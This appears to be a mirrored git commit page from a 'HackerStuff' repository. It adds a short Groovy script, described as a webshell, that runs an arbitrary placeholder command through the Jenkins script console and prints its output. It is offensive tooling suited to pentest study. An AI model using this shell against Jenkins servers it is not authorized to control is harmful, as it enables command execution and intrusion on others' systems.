mirror of
https://github.com/0xdade/HackerStuff.git
synced 2025-10-29 16:59:27 +00:00
Lame groovy webshell for jenkins script console
This commit is contained in:
parent
8d3e5aaa2c
commit
4f12541fdf
11
Jenkins-Script-Console-Shell.groovy
Normal file
11
Jenkins-Script-Console-Shell.groovy
Normal file
@ -0,0 +1,11 @@
|
||||
/*
|
||||
Using Jenkins Script Console, this is a (pretty lame) shell to interact with the server itself
|
||||
*/
|
||||
|
||||
def command = '[YOUR COMMAND]'
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = command.execute()
|
||||
proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(10000)
|
||||
println "out> $sout"
|
||||
println "err> $serr"
|
||||
Loading…
x
Reference in New Issue
Block a user